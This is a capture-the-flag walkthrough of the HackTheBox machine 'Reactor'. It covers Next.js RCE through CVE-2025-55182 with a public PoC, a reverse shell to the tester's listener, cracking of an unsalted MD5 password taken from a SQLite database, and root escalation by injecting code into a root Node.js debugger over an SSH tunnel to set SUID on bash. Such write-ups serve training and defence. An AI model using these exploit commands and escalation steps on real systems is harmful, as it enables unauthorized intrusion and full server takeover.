Reactor (Active Box)
Active HackTheBox Challenge
This challenge is currently active on HackTheBox. According to HTB's content policy, sharing writeups of active challenges is prohibited.
This writeup will be made publicly available once the challenge is retired.
Need the password? Join the Discord community:
Box Info
| Field | Detail |
|---|---|
| Name | Reactor |
| OS | Linux (Ubuntu 24.04) |
| Difficulty | Easy |
| IP | 10.129.10.253 |
| Release | 2026 |
| CVEs | CVE-2025-55182, CVE-2025-66478 |
Overview
The attack surface is an open SSH port and a Next.js application running on port 3000. Initial access comes via CVE-2025-55182 (React2Shell), a CVSS 10.0 unauthenticated RCE in the React Server Components Flight protocol deserializer. From there Iβll enumerate the application directory, extract a SQLite database, crack an unsalted MD5 hash, and SSH in as engineer. Privilege escalation exploits a root-owned Node.js process running with --inspect bound to localhost, which Iβll reach via SSH port forwarding and exploit using the Chrome DevTools Protocol to set the SUID bit on /bin/bash.
Recon
Initial Scanning
Iβll start with nmap across all ports
1
2
3
4
5
6
7
8
9
10
11
12
13
14
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ sudo nmap -p- 10.129.10.253 --min-rate 10000 -v
[sudo] password for sicario:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-30 10:06 WAT
Nmap scan report for 10.129.10.253
Host is up (0.27s latency).
<SNIP>
PORT STATE SERVICE
22/tcp open ssh
3000/tcp open ppp
Read data files from: /usr/share/nmap
Nmap done: 1 IP address (1 host up) scanned in 46.54 seconds
Raw packets sent: 432099 (19.012MB) | Rcvd: 63758 (2.550MB)
Then probe the confirmed open ports for service and version detail.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
βββ(sicarioγΏkali)-[~/HacktheBox/reactor]
ββ$ sudo nmap -p 22,3000 -sCV -oN nmap/reactor.txt 10.129.10.253
[sudo] password for sicario:
Starting Nmap 7.95 ( https://nmap.org ) at 2026-05-30 10:06 WAT
Nmap scan report for 10.129.10.253
Host is up (0.27s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 ce:fd:0d:82:c0:23:ed:6e:4b:ea:13:fa:4f:ea:ef:b7 (ECDSA)
|_ 256 f8:44:c6:46:58:7a:39:21:ef:16:44:e9:58:c2:f3:62 (ED25519)
3000/tcp open ppp?
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 200 OK
| Vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch, Accept-Encoding
| x-nextjs-cache: HIT
| x-nextjs-prerender: 1
| x-nextjs-stale-time: 4294967294
| X-Powered-By: Next.js
| Cache-Control: s-maxage=31536000,
| ETag: "p02u6gnhufd8t"
| Content-Type: text/html; charset=utf-8
| Content-Length: 17175
| Date: Sat, 30 May 2026 09:05:30 GMT
| Connection: close
| <!DOCTYPE html><html lang="en"><head><meta charSet="utf-8"/><meta name="viewport" content="width=device-width, initial-scale=1"/><link rel="stylesheet" href="/_next/static/css/414e1be982bc8557.css" data-precedence="next"/><link rel="preload" as="script" fetchPriority="low" href="/_next/static/chunks/webpack-db0a529a99835594.js"/><script src="/_next/static/chunks/4bd1b696-80bcaf75e1b4285e.js" async=""></script><script src="/_next/static/chunks/517-d083b552e04dead1.js" async=""></script><script s
| HTTPOptions:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sat, 30 May 2026 09:05:32 GMT
| Connection: close
| Help, NCP, RPCCheck:
| HTTP/1.1 400 Bad Request
| Connection: close
| RTSPRequest:
| HTTP/1.1 400 Bad Request
| vary: RSC, Next-Router-State-Tree, Next-Router-Prefetch, Next-Router-Segment-Prefetch
| Allow: GET
| Allow: HEAD
| Cache-Control: private, no-cache, no-store, max-age=0, must-revalidate
| Date: Sat, 30 May 2026 09:05:33 GMT
|_ Connection: close
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.95%I=7%D=5/30%Time=6A1AA8A4%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,341C,"HTTP/1\.1\x20200\x20OK\r\nVary:\x20RSC,\x20Next-Router-S
SF:tate-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetch,\x2
SF:0Accept-Encoding\r\nx-nextjs-cache:\x20HIT\r\nx-nextjs-prerender:\x201\
SF:r\nx-nextjs-stale-time:\x204294967294\r\nX-Powered-By:\x20Next\.js\r\nC
SF:ache-Control:\x20s-maxage=31536000,\x20\r\nETag:\x20\"p02u6gnhufd8t\"\r
SF:\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2017
SF:175\r\nDate:\x20Sat,\x2030\x20May\x202026\x2009:05:30\x20GMT\r\nConnect
SF:ion:\x20close\r\n\r\n<!DOCTYPE\x20html><html\x20lang=\"en\"><head><meta
SF:\x20charSet=\"utf-8\"/><meta\x20name=\"viewport\"\x20content=\"width=de
SF:vice-width,\x20initial-scale=1\"/><link\x20rel=\"stylesheet\"\x20href=\
SF:"/_next/static/css/414e1be982bc8557\.css\"\x20data-precedence=\"next\"/
SF:><link\x20rel=\"preload\"\x20as=\"script\"\x20fetchPriority=\"low\"\x20
SF:href=\"/_next/static/chunks/webpack-db0a529a99835594\.js\"/><script\x20
SF:src=\"/_next/static/chunks/4bd1b696-80bcaf75e1b4285e\.js\"\x20async=\"\
SF:"></script><script\x20src=\"/_next/static/chunks/517-d083b552e04dead1\.
SF:js\"\x20async=\"\"></script><script\x20s")%r(Help,2F,"HTTP/1\.1\x20400\
SF:x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(NCP,2F,"HTTP/1\.1
SF:\x20400\x20Bad\x20Request\r\nConnection:\x20close\r\n\r\n")%r(HTTPOptio
SF:ns,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20RSC,\x20Next-Rou
SF:ter-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-Segment-Prefetc
SF:h\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x20private,\x20n
SF:o-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r\nDate:\x20Sat,
SF:\x2030\x20May\x202026\x2009:05:32\x20GMT\r\nConnection:\x20close\r\n\r\
SF:n")%r(RTSPRequest,10C,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nvary:\x20R
SF:SC,\x20Next-Router-State-Tree,\x20Next-Router-Prefetch,\x20Next-Router-
SF:Segment-Prefetch\r\nAllow:\x20GET\r\nAllow:\x20HEAD\r\nCache-Control:\x
SF:20private,\x20no-cache,\x20no-store,\x20max-age=0,\x20must-revalidate\r
SF:\nDate:\x20Sat,\x2030\x20May\x202026\x2009:05:33\x20GMT\r\nConnection:\
SF:x20close\r\n\r\n")%r(RPCCheck,2F,"HTTP/1\.1\x20400\x20Bad\x20Request\r\
SF:nConnection:\x20close\r\n\r\n");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 40.82 seconds
Two ports. Port 22 is OpenSSH 9.6p1 on Ubuntu 24.04 Noble β nothing to poke until we have creds. Port 3000 is the interesting one: the X-Powered-By: Next.js header and all those /_next/static/ chunk references in the response body confirm a Next.js application. The x-nextjs-prerender: 1 header means SSR is active. The x-nextjs-stale-time: 4294967294 value is 2^32 - 2, a default βcache foreverβ config that signals no custom hardening.
Web Enumeration
Browsing to port 3000 reveals ReactorWatch, a fake nuclear core monitoring dashboard for βNuclear Dynamics Corp., Facility SITE-7β. The UI is largely static, displaying reactor telemetry and a personnel list: Dr. Elena Rodriguez, Marcus Kim, and James Thompson. Interesting potential usernames, but there is no login form visible on the landing page.
Wappalyzer confirms Next.js 15.0.3 and React. That version number immediately stands out.
Next.js 15.0.3 falls squarely in the vulnerable range for CVE-2025-55182. The patch didnβt land until 15.0.5.
Foothold
CVE-2025-55182 β React2Shell (CVSS 10.0)
CVE-2025-55182, dubbed React2Shell, is a critical unauthenticated RCE vulnerability in the React Server Components Flight protocol deserializer. The flaw lies in how React processes RSC payloads: a specially crafted multipart form-data request containing a circular JSON structure abuses the deserialization process to pollute the prototype chain. The traversal string $1:constructor:constructor causes the server to resolve the JavaScript Function constructor, which is then invoked with attacker-controlled code, resulting in direct RCE. No authentication required, no prior misconfiguration needed β a default Next.js production app is exploitable out of the box.
Affected versions: React 19.0.0 through 19.2.0 / Next.js 14.3.0-canary.77 through 15.0.4.
Iβll use p3ta00/react2shell-poc to exploit this. The tool exfiltrates command output directly via the NEXT_REDIRECT error in the HTTP response β no callback server needed.
1
2
3
4
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ git clone https://github.com/p3ta00/react2shell-poc.git
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor/react2shell-poc]
ββ$ pip install requests --break-system-packages
RCE confirmation:
1
2
3
4
5
6
7
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor/react2shell-poc]
ββ$ python3 react2shell-poc.py -t http://10.129.10.253:3000 -c "id"
[*] Sending error-exfil payload...
[+] Command output:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
uid=999(node) gid=988(node) groups=988(node)
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
Weβre executing as the node service account. Iβll enumerate the system to orient myself:
1
2
3
4
5
6
7
8
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor/react2shell-poc]
ββ$ python3 react2shell-poc.py -t http://10.129.10.253:3000 -c "cat /etc/passwd | grep -v nologin"
[+] Command output:
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
root:x:0:0:root:/root:/bin/bash
engineer:x:1000:1000:engineer:/home/engineer:/bin/bash
[snip]
ββββββββββββββββββββββββββββββββββββββββββββββββββββββββββββ
One real user with a shell: engineer. Thatβs the lateral move target. Iβll upgrade to a proper reverse shell for easier interaction:
1
2
3
4
5
6
7
# Listener
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ rlwrap -cAr nc -lnvp 4444
# Payload
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor/react2shell-poc]
ββ$ python3 react2shell-poc.py -t http://10.129.10.253:3000 --revshell --lhost 10.10.16.35 --lport 4444
Shell catches. Upgrading with pty:
1
2
3
4
5
node@reactor:/opt/reactor-app$ python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ stty raw -echo; fg
node@reactor:/opt/reactor-app$ export TERM=xterm
Database Extraction
The working directory is /opt/reactor-app and reactor.db is sitting right there:
1
2
node@reactor:/opt/reactor-app$ ls
app next.config.js node_modules package.json package-lock.json reactor.db
1
node@reactor:/opt/reactor-app$ sqlite3 reactor.db '.dump'
1
2
3
4
5
6
7
8
9
CREATE TABLE users (
id INTEGER PRIMARY KEY,
username TEXT NOT NULL,
password_hash TEXT NOT NULL,
role TEXT NOT NULL,
email TEXT
);
INSERT INTO users VALUES(1,'admin','a203b22191d744a4e70ada5c101b17b8','administrator','admin@reactor.htb');
INSERT INTO users VALUES(2,'engineer','39d97110eafe2a9a68639812cd271e8e','operator','engineer@reactor.htb');
Two accounts, both with unsalted MD5 hashes. MD5 with no salt is trivially reversible via lookup tables. CrackStation resolves 39d97110eafe2a9a68639812cd271e8e in seconds:
engineer : reactor1
User Flag
1
2
3
4
5
6
7
8
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ ssh engineer@10.129.10.253
engineer@10.129.10.253's password: reactor1
engineer@reactor:~$ ls
user.txt
engineer@reactor:~$ cat user.txt
[flag]
Privilege Escalation
Discovering the Node.js Debugger
No sudo rights for engineer. Iβll check running processes for any privileged services:
1
2
3
engineer@reactor:~$ ps aux | grep node
node 1413 8.2 2.8 11809820 112912 ? Ssl 08:58 next-server (v15.0.3)
root 1415 0.0 1.1 1066460 45824 ? Ssl 08:58 /usr/bin/node --inspect=127.0.0.1:9229 /opt/uptime-monitor/worker.js
There it is. Root is running a Node.js process with --inspect=127.0.0.1:9229. The --inspect flag enables the Chrome DevTools Protocol (CDP) debugger, which allows any attached client to evaluate arbitrary JavaScript inside the process. Since the process is owned by root, any code we inject executes as root.
The debugger is bound to 127.0.0.1 β only reachable locally. Iβll tunnel it out via SSH port forwarding.
SSH Tunnel + Chrome DevTools Protocol Exploitation
Step 1 β Forward port 9229 to Kali:
1
2
βββ(sicarioγΏkali)-[~/HacktheBox/Reactor]
ββ$ ssh -L 9229:127.0.0.1:9229 engineer@10.129.10.253
Step 2 β Attach via Chromium:
Navigate to chrome://inspect, click Configure, add localhost:9229. The root Node process (/opt/uptime-monitor/worker.js, pid=1415) appears under Remote Target. Click inspect to open a DevTools console attached to the root process.
Step 3 β Execute code as root:
In the DevTools Console:
1
require('child_process').execSync('chmod u+s /bin/bash').toString()
This runs chmod u+s /bin/bash inside the root-owned process, setting the SUID bit on /bin/bash.
Alternative β Node.js WebSocket client (no browser required):
1
2
3
4
5
6
7
8
9
10
11
const WebSocket = require('ws');
fetch('http://127.0.0.1:9229/json').then(r => r.json()).then(targets => {
const ws = new WebSocket(targets[0].webSocketDebuggerUrl);
ws.on('open', () => {
ws.send(JSON.stringify({
id: 1,
method: 'Runtime.evaluate',
params: { expression: 'require("child_process").execSync("chmod u+s /bin/bash").toString()' }
}));
});
});
The CDP
/jsonendpoint returns the WebSocket debugger URL for the running process. Connecting to it gives fullRuntime.evaluateaccess β equivalent to the browser DevTools console.
Step 4 β Spawn a root shell:
1
2
3
4
5
engineer@reactor:~$ ls -la /bin/bash
-rwsr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
engineer@reactor:~$ /bin/bash -p
bash-5.2#
The s in the owner execute position confirms the SUID bit is set. bash -p launches bash with the file ownerβs effective UID (root) rather than the callerβs.
Root Flag
1
2
bash-5.2# cat /root/root.txt
[flag]
Tools Used
| Tool | Purpose |
|---|---|
| nmap | Service and version detection |
| masscan | Full port range discovery |
| Wappalyzer | Framework fingerprinting (Next.js 15.0.3) |
| react2shell-poc | CVE-2025-55182 RCE exploitation |
| sqlite3 | Database extraction |
| CrackStation | MD5 hash lookup |
| SSH port forwarding | Tunnel localhost:9229 to attacker machine |
| Chrome DevTools (CDP) | Attach to root Node.js debugger, inject JS |
Key Takeaways
- CVE-2025-55182 is trivially exploitable on default Next.js configs. No authentication, no misconfiguration, no special setup required. If you see Next.js 15.x below 15.0.5 or React 19.0.x through 19.2.0 in the wild, assume RCE is one request away. Patch or block RSC endpoints immediately.
- Unsalted MD5 is not a password hash. It is a lookup table entry.
reactor1fell in under a second on CrackStation. Any application storing credentials as raw MD5 in 2026 is functionally storing them in plaintext. Use bcrypt, argon2, or scrypt with a unique per-user salt. --inspecton a production process is a root shell waiting to happen. The Node.js debugger was designed for development. Binding it to127.0.0.1is not sufficient protection if an attacker has any local foothold β SSH port forwarding trivially bypasses the localhost restriction. Never run--inspectin production. Use process managers and remove debug flags entirely from production service definitions.
Further Reading
CVEs & Exploits
| Reference | Description |
|---|---|
| CVE-2025-55182 | React Server Components Flight protocol RCE via prototype pollution |
| CVE-2025-66478 | Next.js Server Actions RCE inheriting the same deserialization flaw |
| p3ta00/react2shell-poc | PoC exploit used in this walkthrough |
Tools & Techniques
| Resource | Description |
|---|---|
| Chrome DevTools Protocol Docs | Full CDP reference including Runtime.evaluate |
| HackTricks β Node.js βinspect RCE | Privilege escalation via Node.js debugger abuse |
| PayloadsAllTheThings β SUID | SUID binary abuse techniques |
| Wiz β React2Shell Analysis | Deep technical breakdown of CVE-2025-55182 |




